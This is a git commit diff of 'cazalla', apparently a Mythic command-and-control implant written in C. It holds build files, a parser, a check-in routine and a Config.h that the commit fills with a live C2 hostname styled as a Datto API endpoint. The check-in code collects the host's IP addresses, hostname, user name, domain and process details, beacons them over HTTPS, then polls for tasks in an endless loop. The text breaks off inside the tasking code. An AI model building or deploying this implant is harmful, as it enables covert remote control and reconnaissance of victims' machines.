v0.5 ps y mejoras

This commit is contained in:
marcos.luna
2025-04-07 10:49:56 +00:00
parent fba98e461a
commit fcd2251761
48 changed files with 2499 additions and 2093 deletions
+28 -28
View File
@@ -1,28 +1,28 @@
Copyright (c) 2023, its-a-feature
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of [project] nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Copyright (c) 2023, its-a-feature
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of [project] nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+24 -24
View File
@@ -1,25 +1,25 @@
FROM python:3.11
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
RUN apt-get -y update && \
apt-get -y upgrade && \
apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \
apt-get clean
COPY requirements.txt /
RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/
FROM python:3.11
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
RUN apt-get -y update && \
apt-get -y upgrade && \
apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \
apt-get clean
COPY requirements.txt /
RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/
CMD ["python3", "main.py"]
+20 -20
View File
@@ -1,20 +1,20 @@
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
@@ -1,115 +1,115 @@
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
@@ -1,13 +1,13 @@
#pragma once
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define useragent L"%USERAGENT%"
#define httpmethod L"POST"
#define port %PORT%
#define sleep_time %SLEEPTIME%
#pragma once
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
#define endpoint L"data"
#define ssl TRUE
#define proxyenabled FALSE
#define proxyurl L""
#define useragent L""
#define httpmethod L"POST"
#define port 443
#define sleep_time 10
@@ -1,43 +1,43 @@
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
DFLAGS = -D_DEBUG
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
@@ -1,26 +1,26 @@
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#endif
@@ -1,39 +1,39 @@
#include "cazalla.h"
#include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
//v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time * 1000;
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n");
return;
}
parseChecking(respuestaAnalizador);
while (TRUE){
rutina();
}
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
return;
}
#include "cazalla.h"
#include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
//v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time*1000;
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n");
return;
}
parseChecking(respuestaAnalizador);
while (TRUE){
rutina();
}
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
return;
}
@@ -1,35 +1,35 @@
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
typedef struct {
// UUID
PCHAR idAgente;
//HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID);
VOID cazallaMain();
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
typedef struct {
// UUID
PCHAR idAgente;
//HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID);
VOID cazallaMain();
#endif
@@ -1,35 +1,35 @@
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error
if (!paquete) {
ExitProcess(1);
return FALSE;
}
// Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE);
// Enviar el paquete
mandarPaquete(paquete);
// Liberar memoria del paquete
liberarPaquete(paquete);
// Terminar el proceso
ExitProcess(0);
return TRUE;
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error
if (!paquete) {
ExitProcess(1);
return FALSE;
}
// Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE);
// Enviar el paquete
mandarPaquete(paquete);
// Liberar memoria del paquete
liberarPaquete(paquete);
// Terminar el proceso
ExitProcess(0);
return TRUE;
}
@@ -1,11 +1,11 @@
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#endif //EXIT_H
@@ -1,196 +1,196 @@
#include "checkin.h"
#include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) {
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs;
}
// Obtener la arquitectura
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// Obtener el Hostname
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// Obtener el usuario
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// Obtener el dominio
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio;
}
char* getOsName() {
return (PCHAR)"Windows";
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
PAnalizador checkin() {
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL;
}
return respuestaAnalizador;
#include "checkin.h"
#include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) {
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs;
}
// Obtener la arquitectura
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// Obtener el Hostname
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// Obtener el usuario
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// Obtener el dominio
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio;
}
char* getOsName() {
return (PCHAR)"Windows";
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
PAnalizador checkin() {
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL;
}
return respuestaAnalizador;
}
@@ -1,17 +1,17 @@
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin();
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin();
#endif
@@ -1,80 +1,83 @@
#include "cazalla.h"
#include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea);
